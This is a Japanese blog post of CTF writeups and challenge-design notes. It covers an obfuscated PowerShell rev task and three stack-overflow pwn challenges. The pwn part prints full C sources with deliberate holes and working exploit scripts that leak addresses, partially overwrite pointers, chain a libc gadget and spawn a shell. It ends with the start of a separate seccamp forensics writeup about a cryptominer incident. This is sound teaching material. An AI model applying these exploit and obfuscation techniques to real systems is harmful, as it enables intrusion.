TSG LIVE! 10のLive CTFにて作問しました。

はじめに

5月13日の五月祭のTSG LIVE! 10の一企画としてLive CTFの作問と実況を行いました。実況の方は配信システムの方でいろいろ問題が発生して、あたふたしていましたが、PwnとRevの作問に関しては良質な問題を提供できたのではないかと考えています。

Githubリポジトリは以下のリンク

github.com

RevのWriteup

難読化されたpowershellソースコードを解析する問題です。コードの機能としては非常にシンプルで、FLAGの文字列を入力し、あっていたらcorrect!と、間違っていたらwrong...と返されるプログラムです。

whitespaceが大量に使われていたり、文字列を読みにくくされていたりしますが、if else文を使っている部分が一箇所だけ見つかります。この比較の条件分の$jが入力した文字列に対応しているので、$kがおそらくFLAGに対応しているだろうと予測して、$kWrite-OutputするとFLAGを得ることができます。

150点問題に相応しい難易度だったのではないでしょうか。

string_related

;iF                                                                                                                                                                                       ($j -cEq $k){&("{11}{3}{5}{8}{7}{0}{2}{4}{9}{10}{1}{6}" -f "`-","u","`o","R","U","`i","T","E","T","T","`P","`w") $s}                                                                                                            ElSe{&("{3}{5}{0}{10}{8}{4}{7}{6}{11}{9}{2}{1}" -f "`i","t","U","`W","`-","R","U","`o","E","p","t","t") $l}

PwnのWriteup

agent

checksec ./agent
agent.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Profile
{
    char name[0x10];
    char words[0x100];
    long age;
    char job[0x10];
};

void readline_n(char* buf, int n)
{
    char tmp[1];
    for(int i=0; i<n; i++)
    {
        read(STDIN_FILENO, tmp, 1);
        if (tmp[0] == '\n')
        {
            break;
        }
        buf[i] = tmp[0];
    }
    return;
}

void win()
{
    system("/bin/sh");
    return;
}

int main()
{
    struct Profile* p;
    setvbuf(stdout, (char*) NULL, _IONBF, 0);

    p = alloca(sizeof(struct Profile));

    printf("Enter your profile\n");

    printf("Your Name > ");
    readline_n(p->name, sizeof(p->name));
    printf("Your Words > ");
    readline_n(p->words, sizeof(p->words));
    printf("Your Age > ");
    scanf("%ld", &p->age);
    printf("Desired Job > ");
    readline_n(p->job, sizeof(p->job));

    printf("\n---------------Profile---------------\n");
    printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
    printf("-------------------------------------\n\n");

    char check[4];
    int num, i=0;
    printf("Anything to fix?\n");
    do {
        printf("1. Name\n2. Words\n3. Age\n4. Desired Job\n> ");
        scanf("%d", &num);
        switch(num)
        {
            case 1:
                printf("Name > ");
                readline_n(p->name, sizeof(p->name));
                i++;
                break;
            case 2:
                printf("Words > ");
                readline_n(p->words, sizeof(p->words));
                i++;
                break;
            case 3:
                printf("Age > ");
                scanf("%ld", &p->age);
                i++;
                break;
            case 4:
                printf("Desired Job > ");
                readline_n(p->job, sizeof(p->words));
                i++;
                break;
            default:
                puts("Please specify 1, 2, 3 or 4");
                puts("Bye");
                exit(0);
        }
        if (i == 1)
        {
            printf("Done fixing?\n");
            readline_n(check, sizeof(check));
            if (strncmp(check, "YES", 3) == 0)
            {
                break;
            }
        }
    } while (i < 2);

    printf("Sent the profile.\n Good luck!\n");
    return 0;
}

Profileという構造体がalloca()によってstackの上に取られています。入力に使われるreadline_n()はnull終端されず、改行を読み込むと改行自身を書き込まずに読み込みを終了します。

脆弱性のある箇所は、まず、バッファー領域が初期化されていないのでtext領域やlibcのアドレスなどがそのまま残っており、アドレスリークが可能です。また、jobメンバーへ16byteまるまる書き込みができるので、Profile構造体の直後にあるtext領域のアドレスもリークできます。

agent stack

switch文のcase 4:にてreadline_n(p->job, sizeof(p->words));というコードが存在し、0x10バイトのサイズのjobメンバーにwordsメンバーのサイズ分、つまり0x100バイトの書き込みができるというBOFが存在します。

No canaryなので、そのままBOFでreturn addressを書き換えることができます。system関数内のmovaps命令で落ちないように、win関数のアドレスのendbr64; push rbpの処理を飛ばしたwin()+5のアドレスをreturn addressに書き込めば終了です。

agent BOF

agent.py

from ptrlib import *

elf = ELF("../dist/agent")
libc = ELF('../dist/libc-2.31.so')

#io = Socket("localhost", 30005)
io = Process("../dist/agent")

io.sendlineafter("Name > ", "N"*0xf)
io.sendlineafter("Words > ", "W"*0xff)
io.sendlineafter("Age > ", "256")
io.sendlineafter("Job > ", "J" * (0x10 - 3) + "END")\

# leak text addr
io.recvuntil("END")

text_addr = io.recvline()
text_addr = u64(text_addr)
elf.base = text_addr - 0x12c9

payload = b"A" * 0x40

# align stack
payload += p64(elf.symbol('win') + 5)

io.sendlineafter("> ", '4')
io.sendlineafter("> ", payload)
io.interactive()

renewal

checksec ./renewal
renewal.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char tmp[1];
int j;

#define readline_n(buf, n)          \
{                                   \
    for(j=0; j<n; j++)              \
    {                               \
        read(STDIN_FILENO, tmp, 1); \
        if (tmp[0] == '\n')         \
        {                           \
            break;                  \
        }                           \
        buf[j] = tmp[0];            \
    }                               \
}                                   \

struct Profile
{
    char name[0x10];
    char words[0x100];
    long age;
    char job[0x10];
};

void win()
{
    system("/bin/sh");
    return;
}

int main()
{
    struct Profile* p;
    setvbuf(stdout, (char*) NULL, _IONBF, 0);

    p = alloca(sizeof(struct Profile));
    memset(p, 0, sizeof(struct Profile));

    printf("Enter your profile\n");

    printf("Your Name > ");
    readline_n(p->name, sizeof(p->name));
    printf("Your Words > ");
    readline_n(p->words, sizeof(p->words));
    printf("Your Age > ");
    scanf("%ld", &p->age);
    printf("Desired Job > ");
    readline_n(p->job, sizeof(p->job));

    printf("\n---------------Profile---------------\n");
    printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
    printf("-------------------------------------\n\n");

    char check[4];
    int num, i=0;
    printf("Anything to fix?\n");
    do {
        printf("1. Name\n2. Words\n3. Age\n4. Desired Job\n> ");
        scanf("%d", &num);
        switch(num)
        {
            case 1:
                printf("Name > ");
                readline_n(p->name, sizeof(p->name));
                i++;
                break;
            case 2:
                printf("Words > ");
                readline_n(p->words, sizeof(p->words));
                i++;
                break;
            case 3:
                printf("Age > ");
                scanf("%ld", &p->age);
                i++;
                break;
            case 4:
                printf("Desired Job > ");
                readline_n(p->job, sizeof(p->words));
                i++;
                break;
            default:
                puts("Please specify 1, 2, 3 or 4");
                puts("Bye");
                exit(0);
        }
        if (i == 1)
        {
            printf("Done fixing?\n");
            readline_n(check, sizeof(check));
            if (strncmp(check, "YES", 3) == 0)
            {
                break;
            }
        }
    } while (i < 2);

    printf("Sent the profile.\n Good luck!\n");
    return 0;
}

diff agent.c renewal.c -U 0

@@ -5,0 +6,16 @@
+char tmp[1];
+int j;
+
+#define readline_n(buf, n)          \
+{                                   \
+    for(j=0; j<n; j++)              \
+    {                               \
+        read(STDIN_FILENO, tmp, 1); \
+        if (tmp[0] == '\n')         \
+        {                           \
+            break;                  \
+        }                           \
+        buf[j] = tmp[0];            \
+    }                               \
+}                                   \
+
@@ -14,15 +29,0 @@
-void readline_n(char* buf, int n)
-{
-    char tmp[1];
-    for(int i=0; i<n; i++)
-    {
-        read(STDIN_FILENO, tmp, 1);
-        if (tmp[0] == '\n')
-        {
-            break;
-        }
-        buf[i] = tmp[0];
-    }
-    return;
-}
-
@@ -40,0 +42 @@
+    memset(p, 0, sizeof(struct Profile));

readline_n()が関数からマクロに変わりましたが、動作に違いはほとんどありません。memsetによって構造体のために取られたstack領域は0埋めされていますが、jobの領域0x10バイトにまるまる書き込みができるので、依然text領域のアドレスリークが可能です。stack canaryがオンになっているので、前問のagentとは違い単純なBOFではリターンアドレスを書き換えることができません。

ここで、注目するべきはProfile構造体のポインタであるpがスタック上のProfile用の領域よりアドレスの大きい方、つまり、BOFで書き換えられる領域に存在することです。また、numやiといったローカル変数も書き換えられることに注目してください。

renewal stack
stackのアドレスをリークすることはできませんが、readline_n()はnull終端でないので、pのアドレスの下1byteを書き換えることで、1/16の確率で自分の望むアドレスへとpのポインタをずらすことができます。具体的にはjobメンバーのバッファーの先頭アドレスをreturn addressに重ねることができます。

例えば上のスクリーンショットでは、return addressの格納されているstack上のアドレスは0x7ffcbf3ae858であり、jobメンバーのバッファーの先頭アドレスは0x7ffcbf3ae818です。つまり、pのアドレスを+0x40することができれば、jobに書き込んだ際にreturn addressの格納されている領域に書き込むことができるようになるということです。

renewal bof

今回はpのアドレスの下1byteを0x40で書き換えれば、jobの先頭とreturn addressが綺麗に重なりました。実際のexploitは例えば0x40で毎回書き換えるようにして、pのアドレスの下1byteが00になるまで接続し直す、という方法を取ります。stackのアドレスの下4bitは0で変わらないので、上4bitで0を引く確率、つまり1/16でこのexploitは成功します。

1/16を当てた後はjobにleakしたアドレスから逆算したwinのアドレスを書き込むだけです。ローカル変数iがi >= 1にならないとループを終了できないので、BOFで書き換える際には気をつけてください。また、iに負の数を入れれば、他数回numで指定したメンバーに書き込みができるということにここで気づけるはずです。

renewal return address overwrite

return addressを書き換えたら、mainの処理を終了してreturnすれば、win関数が実行されます。

renewal.py

from ptrlib import *

elf = ELF("../dist/renewal")
libc = ELF('../dist/libc-2.31.so')

while(1):
    try:
        io = Process("../dist/renewal")
        #io = Socket("localhost", 30017)

        #input()
        io.sendlineafter("Name > ", "N")
        io.sendlineafter("Words > ", "W")
        io.sendlineafter("Age > ", "256")
        io.sendlineafter("Job > ", "J" * (0x10 - 3) + "END")
        io.recvuntil("END")
        text_addr = io.recvline()
        text_addr = u64(text_addr)
        elf.base = text_addr - 0x12b9

        io.sendlineafter("> ", "4")

        # 1/16
        one_byte = 0x40
        payload = b"C" * 0x18
        payload += p32(0x4)
        payload += p32(0xffffffff)
        payload += p8(one_byte)
        io.sendlineafter("> ", payload)

        win_addr = elf.symbol('win')
        io.sendlineafter("> ", "4")
        io.sendlineafter("> ", p64(win_addr + 5))
        io.sendlineafter("?\n", "YES")
        io.sendlineafter("!\n", "ls")
        io.sendlineafter("flag", "cat flag", timeout=0.1)
        break
    except TimeoutError as e:
        print(e)

io.interactive()

true_version

checksec ./true_version
true_version.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char tmp[1];
int j;

#define readline_n(buf, n)          \
{                                   \
    for(j=0; j<n; j++)              \
    {                               \
        read(STDIN_FILENO, tmp, 1); \
        if (tmp[0] == '\n')         \
        {                           \
            break;                  \
        }                           \
        buf[j] = tmp[0];            \
    }                               \
}                                   \

struct Profile
{
    char name[0x10];
    char words[0x100];
    long age;
    char job[0x10];
};

void win()
{
    system("/bin/sh");
    return;
}

int main()
{
    struct Profile* p;
    setvbuf(stdout, (char*) NULL, _IONBF, 0);

    p = alloca(sizeof(struct Profile));
    memset(p, 0, sizeof(struct Profile));

    printf("Enter your profile\n");

    printf("Your Name > ");
    readline_n(p->name, sizeof(p->name));
    printf("Your Words > ");
    readline_n(p->words, sizeof(p->words));
    printf("Your Age > ");
    scanf("%ld", &p->age);
    printf("Desired Job > ");
    readline_n(p->job, sizeof(p->job) - 1);

    printf("\n---------------Profile---------------\n");
    printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
    printf("-------------------------------------\n\n");

    char check[4];
    int num, i=0;
    printf("Anything to fix?\n");
    do {
        printf("1. Name\n2. Words\n3. Age\n4. Desired Job\n> ");
        scanf("%d", &num);
        switch(num)
        {
            case 1:
                printf("Name > ");
                readline_n(p->name, sizeof(p->name));
                i++;
                break;
            case 2:
                printf("Words > ");
                readline_n(p->words, sizeof(p->words));
                i++;
                break;
            case 3:
                printf("Age > ");
                scanf("%ld", &p->age);
                i++;
                break;
            case 4:
                printf("Desired Job > ");
                readline_n(p->job, sizeof(p->words));
                i++;
                break;
            default:
                puts("Please specify 1, 2, 3 or 4");
                puts("Bye");
                exit(0);
        }
        if (i == 1)
        {
            printf("Done fixing?\n");
            readline_n(check, sizeof(check));
            if (strncmp(check, "YES", 3) == 0)
            {
                break;
            }
        }
    } while (i < 2);

    printf("Sent the profile.\n Good luck!\n");
    return 0;
}

diff renewal.c true_version.c -U 0

@@ -53 +53 @@
-    readline_n(p->job, sizeof(p->job));
+    readline_n(p->job, sizeof(p->job) - 1);

renewalと違って、jobに0xfバイトしか書き込めなくなってしまったので、アドレスリークができません。しかし、相変わらずBOFが存在し、pのアドレスの下1byteを書き換えてProfile構造体の領域をずらして色々書き換えることはできそうです。書き込み回数はiを適宜負の数に書き換えたりすることで、何回でも書き換えることができます。

アドレスリークは厳しそうなので、stackのreturn addressから下、つまりreturn addressの存在するstackのアドレスよりもアドレスが大きい領域に存在する、アドレスの下1byteを適宜書き換えていって、ROPのpayloadを組むことが目標になります。

true_version structure

今回上のスクリーンショットを確認すると、return addressの格納されたstackのアドレスは0x7ffe8d173758です。ここに格納されているlibcのアドレスの下1byteを書き換えていい感じのガジェットに飛ばすことを考えます。さらに1/16の確率を許容するならば(全体では1/256)、libcのアドレスの下2byteを書き換えて飛んでいけるガジェットから良さそうなものを探しても良いです。

base address
libc_offset
rp++ -f ./libc-2.31.so -r 4 | grep 0x000240

...
0x0002408a: mov rax, qword [rsp+0x08] ; lea rdi, qword [0x00000000001B3E68] ; mov rsi, qword [rax] ; xor eax, eax ; call qword [rdx+0x000001D0] ;  (1 found)
0x0002407c: mov rax, qword [rsp+0x18] ; call rax ;  (1 found)
0x0002400b: mov rdx, qword [rax] ; call rbx ;  (1 found)
...

結論から述べるのであれば、オフセット0x2407cにある、mov rax, qword [rsp+0x18] ; call rax ;が良さそうなガジェットになります。というのも、mainからreturnして仮にこのガジェットを踏んだ際、その瞬間のrsp = 0x7ffe8d173760であり、0x7ffe8d173760 + 0x18 = 0x7ffe8d173778にはtext領域のアドレスが入っているからです。このアドレスはmainのシンボルのアドレスで、下1byteを0x69に書き換えるだけで、winのシンボルのアドレスへと変えることができます。
text_offset
readelf -s true_version
つまり、return addressの下1byteを0x7cに書き換えて、mov rax, qword [rsp+0x18] ; call rax ;のアドレスへと変更し、return address+0x20のtext領域のアドレスの下1byteを0x69に書き換えて、winのアドレスを作った上で、main関数からreturnすれば、win関数が実行されてshellを起動できます。

各手順の遷移を詳しく追っていきましょう。

まず、BOFを使ってpのアドレスを書き換えて、jobの先頭とreturn addressの格納されたstackのアドレスを一致させます。確率は1/16です。ローカル変数i0xffffffffにします。

true_version bof
jobに書き込んでreturn addressであるlibcのアドレスの下1byteを0x7cに変更します。
overwrite libc
wordsに書き込んでProfileの構造体のポインタpのアドレス下1byteを書き換えて、return address + 0x20のアドレスとjobの先頭が一致するようにします。この時にローカル変数iが再び0xffffffffになるように気をつけます。
overwrite p
jobに書き込んでtextのアドレスの下1byteを0x69に変更します。
overwrite text

最後にmain関数の残りを実行してreturnするとlibcのガジェットに飛びます。

libc gadget
ガジェットが実行される際に、call raxの前にはちゃんとraxに0x560cfbcd8269というwinのアドレスが入っています。
after call
最後にwinを実行してshellが起動します。
win

agent -> renewal -> true_versionと徐々に攻撃の制約が厳しくなるという構成でしたが、かなりいい問題に仕上がったと考えています。特に、最後のtrue_versionはcanaryを間にして、wordsとjobを交互に書き換えてROPまたはCOPのpayloadを作っていくところがとても面白いと思っています。めちゃくちゃ頑張ればwin関数なしでもsystem("/bin/sh")を起動できるかもしれません(ほんまか)。試していませんが。

true_version.py

from ptrlib import *

elf = ELF("../dist/true_version")
libc = ELF('../dist/libc-2.31.so')

while(1):
    try:
        io = Process("../dist/true_version")
        #io = Socket("localhost", 30022)

        #input()
        io.sendlineafter("Name > ", "N")
        io.sendlineafter("Words > ", "W")
        io.sendlineafter("Age > ", "256")
        io.sendlineafter("Job > ", "J")
        io.sendlineafter("> ", "4")

        # 1/16
        one_byte = 0x40
        io.sendlineafter("> ", b"C" * 0x18 + p32(0x4) + p32(0xffffffff)+ p8(one_byte))

        one_byte_for_mov_rax_qword_rsp_18_call_rax = 0x7c

        io.sendlineafter("> ", "4")
        io.sendlineafter("> ", p8(one_byte_for_mov_rax_qword_rsp_18_call_rax))
        io.sendlineafter("?\n", "NO")


        io.sendlineafter("> ", "2")
        io.sendlineafter("> ", b"B" * 0xe0 + p32(0x2) + p32(0xffffffff)+ p8(one_byte+0x20))

        win_byte = 0x69
        io.sendlineafter("> ", "4", timeout=0.1)
        io.sendlineafter("> ", p8(win_byte))
        io.sendlineafter("?\n", "YES")
        break
    except TimeoutError as e:
        print(e)

io.interactive()

作問のログ

今回の作問は、moraさんに色々レビューしてもらってとても充実した楽しい体験でした。こんな感じでTSGでは作問やってますよ〜というのを公開したいと思います。

Rev

本番2日前に作り始めた問題です。これまで、Live CTFではx86_64のELFのRevばかり出してきましたが、今回TSG側でRevやPwn担当が少なかったので、powershellのコードの方が誰でもチャレンジできそうで良さそうということで、難読化したps1ファイルを出しました。TSG-Red, TSG-Blueともに解いてくれたようでよかったです。

Google scholarで難読化の方法として紹介されていたstringに関係のあるものを全て盛り込んだものになります。

https://arxiv.org/pdf/1904.10270.pdf

string related 構想

大元のps1ファイルは以下のような簡単なプログラムです。

original.ps1

$input = Read-Host "FLAG"
$flag = "TSGLIVE{FAKEFLAG}"

if ($input -ceq $flag)
{
    Write-Output "correct!"
}
else
{
    Write-Output "wrong..."
}

全ての変更を逐次詳細に書きはしませんが(というのも細かな修正がいくつかあったので)、大まかな変更だけ書いていきます。

まず、存在する文字列を全て文字の足し算にします。

string concatenation

- $f = "TSGLIVE{FAKEFLAG}"
+ $f = "T"+"S"+"G"+"L"+"I"+"V"+"E"+"{"+"m"+"u"+"l"+"t"+"1"+"p"+"l"+"3"+"_"+"l"+"a"+"y"+"3"+"r"+"5"+"_"+"0"+"f"+"_"+"5"+"l"+"1"+"g"+"h"+"t"+"_"+"0"+"b"+"f"+"u"+"5"+"c"+"a"+"t"+"1"+"0"+"n"+"_"+"t"+"3"+"c"+"h"+"n"+"1"+"q"+"u"+"3"+"5"+"_"+"h"+"1"+"n"+"d"+"3"+"r"+"_"+"a"+"n"+"a"+"l"+"y"+"5"+"1"+"5"+"}"

次に、それぞれの文字列を必ず並べ替えます。

string reordering

- $f = "T"+"S"+"G"+"L"+"I"+"V"+"E"+"{"+"m"+"u"+"l"+"t"+"1"+"p"+"l"+"3"+"_"+"l"+"a"+"y"+"3"+"r"+"5"+"_"+"0"+"f"+"_"+"5"+"l"+"1"+"g"+"h"+"t"+"_"+"0"+"b"+"f"+"u"+"5"+"c"+"a"+"t"+"1"+"0"+"n"+"_"+"t"+"3"+"c"+"h"+"n"+"1"+"q"+"u"+"3"+"5"+"_"+"h"+"1"+"n"+"d"+"3"+"r"+"_"+"a"+"n"+"a"+"l"+"y"+"5"+"1"+"5"+"}"

+ $a = "T"+"S"+"G"+"L"+"I"+"V"+"E"
+ $b = "{"+"m"+"u"+"l"+"t"+"1"+"p"+"l"+"3"
+ $c = "_"+"l"+"a"+"y"+"3"+"r"+"5"
+ $d = "_"+"0"+"f"
+ $e = "_"+"5"+"l"+"1"+"g"+"h"+"t"
+ $f = "_"+"0"+"b"+"f"+"u"+"5"+"c"+"a"+"t"+"1"+"0"+"n"
+ $g = "_"+"t"+"3"+"c"+"h"+"n"+"1"+"q"+"u"+"3"+"5"
+ $h = "_"+"h"+"1"+"n"+"d"+"3"+"r"
+ $i = "_"+"a"+"n"+"a"+"l"+"y"+"5"+"1"+"5"+"}"

+ $k = "{3}{4}{6}{0}{8}{7}{5}{2}{1}" -f $d, $i, $h, $a, $b, $g, $c, $f, $e

次にTickをそれぞれの文字に追加します。Tickはエスケープシークエンスに使われる`を用いた難読化です。

learn.microsoft.com

上のサイトにあるような認識されるエスケープシークエンス、以外の文字の前に`を置いても何も起きないので、自由に付加することができます

Tick

- $b = "_"+"5"+"l"+"1"+"g"+"h"+"t"
+ $b = "`_"+"`5"+"`l"+"`1"+"`g"+"`h"+"t"

evalは&()()内の文字列をコマンドとして扱えるというものです。evalを使うことで、コマンドを文字列として難読化できるようになり、前述や後述する文字列周りの難読化を適用できるようになります。

Eval

+ `Wr`ite-`Out`put "`wr`on`g`.`.`."
- &(`Wr`ite-`Out`put) "`w"+"r"+"`o"+"n"+"`g"+"`."+"`."+"`."

Up-Low CaseはCTFにおいてpowershellのコードを読んだことのある人は大抵目にするものですが、コマンドなどの文字列を小文字大文字ごちゃ混ぜにして読みにくくするというものです。

Up-Low Case

+ if ($j -ceq $k)
- iF ($j -cEq $k)

最後のwhitespaceはpowershellにおいて一部を除いて空白文字をいくら挿入してもコードの実行には関係がない、というのを利用してコードの可読性を下げる方法です。今回はif elseなどのコードの動作の本質部分をwhitespaceで右側へ押し流して、スクロールしなければ読めないようにしました。neovimなどでファイルを開いた場合は通用しないものではあります。

また、ChatGPTに投げるだけでは解けないように、大量の変数への代入を重複してコードの前半に持ってくることで、コードの本質部分が読み込まれにくくしました。最初の方の適当な変数を取ってきてprintしたものをつなぎ合わせてFLAGを復元できないよう、_0urという短い文字列を格納した変数を一つだけコードの後ろの方で作ることで、$kのprintをしない限りは解けないようにしました。

string related review

if elseを増やせばもっと難しくなるのではという話は出していましたが、結果的にはこれ以上面倒にしなくて正解だったと思います。

Pwn

今回の最初の構想はCanaryが存在してもstack based BOFでreturn addressを書き換えられる問題を作ろうというものでした。そこで、stack上に構造体を取ってその構造体の中でのBOFで構造体自身のポインタを書き換えて、canaryを書き換えることなくreturn addressを書き換えるという問題設定を考えました。しかし、gccのデフォルトの-fstack-protector-strongでは、char型のバッファやstack上に取ったstructの領域よりもアドレスの大きい方にポインターが存在することがないようにコンパイルされてしまうので困っていました。

stack protector 賢すぎ
そこで、moraさんにallocaで取ればいいのでは?と教えてもらいました。
alloca
もっともallocaでポインタより上にバッファ領域を取るのは、一昔前のpwnの問題ではよくあったらしいです。作問の人は誰もが一回は考えることなのかも。 そんなこんなで、暫定でできたものは、agentと、renewalのバッファを0埋めしていない問題でした。libcのアドレスが両方ともにleakできるので、win関数も作っておらず、readline_n()はマクロにはしていませんでした。また、numを1回しか指定できません。
pwn暫定

first renewal

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Profile
{
    char name[0x10];
    char words[0x100];
    long age;
    char job[0x10];
};

void readline_n(char* buf, int n)
{
    char tmp[1];
    for(int i=0; i<n; i++)
    {
        read(STDIN_FILENO, tmp, 1);
        if (tmp[0] == '\n')
        {
            break;
        }
        buf[i] = tmp[0];
    }
    return;
}

int main()
{
    unsigned int n;
    struct Profile* p;
    setvbuf(stdout, (char*) NULL, _IONBF, 0);

    printf("How many people? > ");
    scanf("%u", &n);
    if (n > 5)
    {
        printf("Max 5 people for registration.\n");
        exit(0);
    }
    p = alloca(sizeof(struct Profile) * n);

    printf("Enter your profile\n");

    printf("Your Name > ");
    readline_n(p->name, sizeof(p->name));
    printf("Your Words > ");
    readline_n(p->words, sizeof(p->words));
    printf("Your Age > ");
    scanf("%ld", &p->age);
    printf("Desired Job > ");
    readline_n(p->job, sizeof(p->job));

    printf("\n---------------Profile---------------\n");
    printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
    printf("-------------------------------------\n\n");

    char check[4];
    int num, i=0;
    printf("Anything to fix?\n");
    printf("1. Name\n2. Words\n3. Age\n4. Desired Job\n> ");
    scanf("%d", &num);
    do {
        switch(num)
        {
            case 1:
                printf("Name > ");
                readline_n(p->name, sizeof(p->name));
                i++;
                break;
            case 2:
                printf("Words > ");
                readline_n(p->words, sizeof(p->words));
                i++;
                break;
            case 3:
                printf("Age > ");
                scanf("%ld", &p->age);
                i++;
                break;
            case 4:
                printf("Desired Job > ");
                readline_n(p->job, sizeof(p->words));
                i++;
                break;
            default:
                puts("Please specify 1, 2, 3 or 4");
                puts("Bye");
                exit(0);
        }
        if (i == 1)
        {
            printf("Done fixing?\n");
            readline_n(check, sizeof(check));
            if (strncmp(check, "YES", 3) == 0)
            {
                break;
            }
        }
    } while (i < 2);

    printf("Sent the profile.\n Good luck!\n");
    return 0;
}

いくつかツッコミポイントがあって、まず、moraさんからもらったコードをそのまま何も考えずに貼り付けた結果、一つしか使わないのに、Profile構造体を5つもstack上に取っている部分です。これは、勝手に複数個ないとコンパイラがポインタより上のstack領域にバッファを取ってしまって問題が解けなくなると勝手に思い込んでいたからですが、普通に1個で大丈夫というか、そもそもsizeof()の結果のサイズ分を取っているだけなので、Profileが幾つだとか全く関係なかったです。こういう無意味な勘違いをやめたい。

第二に実はiをいじれば複数回書き換えられるということに、ここで気づきました。

iの書き換え
true_versionもここでなんとなく思いつきます。何回も書き換えられるということは、return addressの下にROPのpayloadを作ることができて -> アドレスリークがない状態でもなんとか出来そうでは? -> libcのガジェットでいい感じのないかな -> mov rax, qword [rsp+0x18] ; call rax ;といった具合にです。

ですから、実質問題を自分で解きながら作ったという感じです。ここで、確率を下げるのとexploitableにするためにwin関数の追加を決定します。

true_version 構想

first true_version

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Profile
{
    char name[0x10];
    char words[0x100];
    long age;
    char job[0x10];
};

void readline_n(char* buf, int n);

void win()
{
    system("/bin/sh");
    return;
}

int main()
{
    unsigned int n;
    struct Profile* p;
    setvbuf(stdout, (char*) NULL, _IONBF, 0);

    printf("How many people? > ");
    scanf("%u", &n);
    if (n > 5)
    {
        printf("Max 5 people for registration.\n");
        exit(0);
    }
    p = alloca(sizeof(struct Profile) * n);
    memset(p, 0, sizeof(struct Profile) * n);

    printf("Enter your profile\n");

    printf("Your Name > ");
    readline_n(p->name, sizeof(p->name));
    printf("Your Words > ");
    readline_n(p->words, sizeof(p->words));
    printf("Your Age > ");
    scanf("%ld", &p->age);
    printf("Desired Job > ");
    readline_n(p->job, sizeof(p->job));

    printf("\n---------------Profile---------------\n");
    printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
    printf("-------------------------------------\n\n");

    char check[4];
    int num, i=0;
    printf("Anything to fix?\n");
    do {
        printf("1. Name\n2. Words\n3. Age\n4. Desired Job\n> ");
        scanf("%d", &num);
        switch(num)
        {
            case 1:
                printf("Name > ");
                readline_n(p->name, sizeof(p->name));
                i++;
                break;
            case 2:
                printf("Words > ");
                readline_n(p->words, sizeof(p->words));
                i++;
                break;
            case 3:
                printf("Age > ");
                scanf("%ld", &p->age);
                i++;
                break;
            case 4:
                printf("Desired Job > ");
                readline_n(p->job, sizeof(p->words));
                i++;
                break;
            default:
                puts("Please specify 1, 2, 3 or 4");
                puts("Bye");
                exit(0);
        }
        if (i == 1)
        {
            printf("Done fixing?\n");
            readline_n(check, sizeof(check));
            if (strncmp(check, "YES", 3) == 0)
            {
                break;
            }
        }
    } while (i < 2);

    printf("Sent the profile.\n Good luck!\n");
    return 0;
}

void readline_n(char* buf, int n)
{
    char tmp[1];
    for(int i=0; i<n; i++)
    {
        read(STDIN_FILENO, tmp, 1);
        if (tmp[0] == '\n')
        {
            break;
        }
        buf[i] = tmp[0];
    }
    return;
}

true_version 暫定

当日の朝にmoraさんにレビューしてもらいました。 見つかった問題点はいくつかあって、Profile構造体の個数に0を指定するとクラッシュするというのと、そもそもProfile構造体が複数必要ないということ(前述した点です)。 また、初期化していないメモリ領域に過去のstack canaryの残骸が残っていて、普通にstack canaryをリークしてBOFでリターンアドレスまで書き換えられてしまう、ということです。これは、true_versionと同じようにProfileの領域はmemsetで0埋めしてしまうことにしました。jobの末尾からtext領域のアドレスがリークできることを使えば、ret2pltでlibcのアドレスを読み出してからのret2libcで解けます。

もっとも、true_versionでwinを使うので、renewalやagentでも一貫性のためにwinを追加して、簡単にしました。

mora レビュー1

また、true_versionのレビューにて非想定解が見つかりました。

mora レビュー2
そこで、readline_n()はマクロに変更しました。一方で、agentの方はマクロにすると単純なBOFではreadline_n()の参照するポインタが書き換わってしまうことで、pのアドレスを適切に書き換えない限りexploitできず、それでは実質renewalと同じになってしまうということで、関数のままにしました。agentでは関数だったreadline_n()がrenewalやtrue_versionではマクロだったのは、以上のような経緯によるものでした。

以下、マクロを書いたことが無さすぎて、危うくmain関数を壊すところだった話。

readline_n() マクロ化
readline_n() マクロ化2

また、readline_n()のループカウンタはbss領域を使うことにしました、何も考えずにstackのままにしていたら、解く人全員を発狂させてしまうところでした。

readline_n() マクロ化3

こうして当日の朝6:00にtrue_versionが出来上がったという感じです。

終わりに

CTF楽しすぎと話題に。作問も、問題を解くのも、今後も一層力を入れてやっていきたいです。

実際のところtrue_versionは2回の書き換えでshellが取れたみたいです。

ptr-yudai.hatenablog.com

天才 writeup

次回はLive CTF 11かTSG CTFでお会いしましょう~

seccamp 2022 C1 Writeup

はじめに

seccamp2022のC1の講義で実施されたCTF形式の演習のWriteupを復習がてら遺しておこうと思います。

問題設定

(演習用に用意された仮想の)ある企業で発生したインシデントに対してフォレンジック調査を行います。ドメインやWebサイトはこの講義独自のものです。

ネットワーク図 (講義スライドより引用)

社内環境

イベントの検知

  • 通知日時
    • 2022-06-12 21:00:00
  • 検知内容
    • 検知日時: 2022-06-12 18:18:41 (JST)
    • src ip: 172.30.42.53
    • dst ip: 51.68.21.186
    • protocol: TLS
    • 検知理由: 仮想通貨のマイニングプール(pool.minexmr.com)への通信

検知への対応

2022-06-13 09:00~

  • 172.30.42.53 -> L1458というPC名と判明
  • 対象社員の身に覚えがないためインシデントして対応
  • L1458にて原因と思われるプロブラム(diagmonu.exe)を確認
    疑わしいプログラム (スライドより引用)

2022-06-13 12:00~

  • diagmonu.exeはVirusTotal未登録
  • 別PCにおいても同様のイベントを確認
    • 2022-06-13 08:55:11 172.30.42.107 (L2807)
    • 2022-06-13 08:59:15 172.30.42.84 (O4347)

2022-06-13 15:00~

  • L2807, O4347でもdiagmonu.exeを確認
    • L2807内に他の不審なプログラムを確認
